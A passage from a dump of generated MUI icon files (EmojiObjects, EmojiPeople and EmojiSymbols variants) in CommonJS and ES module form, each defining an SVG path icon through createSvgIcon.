    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 14h-4v-1h4zm-4 2v-1h4v1zm5.31-5.26c-.09.08-.16.18-.24.26H8.92c-.08-.09-.15-.19-.24-.27-1.32-1.18-1.91-2.94-1.59-4.7.36-1.94 1.96-3.55 3.89-3.93.34-.07.68-.1 1.02-.1 2.76 0 5 2.24 5 5 0 1.43-.61 2.79-1.69 3.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 11h1v3h-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.6725 9.5808.7071-.707 2.1214 2.1213-.7071.707z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.208 11.7121-.707-.707 2.1212-2.1214.7071.7071z\"\n}, \"3\")], 'EmojiObjectsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m.5 11h-1v-2.59L9.67 9.59l.71-.71L12 10.5l1.62-1.62.71.71-1.83 1.83zm1 5c-.01 0-.02-.01-.03-.01V19h-2.94v-.01c-.01 0-.02.01-.03.01-.28 0-.5-.22-.5-.5s.22-.5.5-.5c.01 0 .02.01.03.01V18h2.94v.01c.01 0 .02-.01.03-.01.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'EmojiObjectsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m.5 11h-1v-2.59L9.67 9.59l.71-.71L12 10.5l1.62-1.62.71.71-1.83 1.83zm1 5c-.01 0-.02-.01-.03-.01V19h-2.94v-.01c-.01 0-.02.01-.03.01-.28 0-.5-.22-.5-.5s.22-.5.5-.5c.01 0 .02.01.03.01V18h2.94v.01c.01 0 .02-.01.03-.01.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'EmojiObjectsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.42 0-.85.04-1.28.11-2.81.5-5.08 2.75-5.6 5.55-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V21h2.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H16v-4.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 16h-4v-1h4zm0-2h-4v-1h4zm-1.5-5.59V14h-1v-2.59L9.67 9.59l.71-.71L12 10.5l1.62-1.62.71.71z\"\n}), 'EmojiObjectsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.42 0-.85.04-1.28.11-2.81.5-5.08 2.75-5.6 5.55-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V21h2.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H16v-4.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 16h-4v-1h4zm0-2h-4v-1h4zm-1.5-5.59V14h-1v-2.59L9.67 9.59l.71-.71L12 10.5l1.62-1.62.71.71z\"\n}), 'EmojiObjectsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h4v1h-4zm0-2h4v1h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 16h-4v-1h4zm0-2h-4v-1h4zm1.31-3.26c-.09.08-.16.18-.24.26H8.92c-.08-.09-.15-.19-.24-.27-1.32-1.18-1.91-2.94-1.59-4.7.36-1.94 1.96-3.55 3.89-3.93.34-.07.68-.1 1.02-.1 2.76 0 5 2.24 5 5 0 1.43-.61 2.79-1.69 3.74\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 11h1v3h-1z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.6725 9.5808.7071-.707 2.1214 2.1213-.7071.707z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.208 11.7121-.707-.707 2.1212-2.1214.7071.7071z\"\n}, \"4\")], 'EmojiObjectsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h4v1h-4zm0-2h4v1h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 16h-4v-1h4zm0-2h-4v-1h4zm1.31-3.26c-.09.08-.16.18-.24.26H8.92c-.08-.09-.15-.19-.24-.27-1.32-1.18-1.91-2.94-1.59-4.7.36-1.94 1.96-3.55 3.89-3.93.34-.07.68-.1 1.02-.1 2.76 0 5 2.24 5 5 0 1.43-.61 2.79-1.69 3.74\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 11h1v3h-1z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.6725 9.5808.7071-.707 2.1214 2.1213-.7071.707z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.208 11.7121-.707-.707 2.1212-2.1214.7071.7071z\"\n}, \"4\")], 'EmojiObjectsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeople.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeople');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeople.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeople');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeopleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeopleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54c-2.46-.01-4.51-1.8-4.92-4.15-.08-.49-.49-.85-.98-.85-.61 0-1.09.54-1 1.14C4.53 5.8 6.47 7.95 9 8.71V21c0 .55.45 1 1 1s1-.45 1-1v-5h2v5c0 .55.45 1 1 1s1-.45 1-1V10.05l3.24 3.24c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}, \"1\")], 'EmojiPeopleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54c-2.46-.01-4.51-1.8-4.92-4.15-.08-.49-.49-.85-.98-.85-.61 0-1.09.54-1 1.14C4.53 5.8 6.47 7.95 9 8.71V21c0 .55.45 1 1 1s1-.45 1-1v-5h2v5c0 .55.45 1 1 1s1-.45 1-1V10.05l3.24 3.24c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}, \"1\")], 'EmojiPeopleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeopleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeopleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeopleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiPeopleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.89 8.11C15.5 7.72 14.83 7 13.53 7h-2.54C8.24 6.99 6 4.75 6 2H4c0 3.16 2.11 5.84 5 6.71V22h2v-6h2v6h2V10.05L18.95 14l1.41-1.41z\"\n}, \"1\")], 'EmojiPeopleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbols.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbols');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbols.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbols');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5H4c-.55 0-1 .45-1 1s.45 1 1 1h2v3c0 .55.45 1 1 1s1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1m0-3H4c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m10.89 11.11a.996.996 0 0 0-1.41 0l-6.36 6.36c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1v3.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.05 7.09c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.71-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.48 1.14.72 1.78.72s1.28-.24 1.77-.73l1.06-1.06.71.71c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.71-.71zm-4.6-3.89c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.12-.12-.15-.26-.15-.35s.03-.23.15-.35m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15S5 19.59 5 19.5s.03-.23.15-.35l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsRounded.mjs",
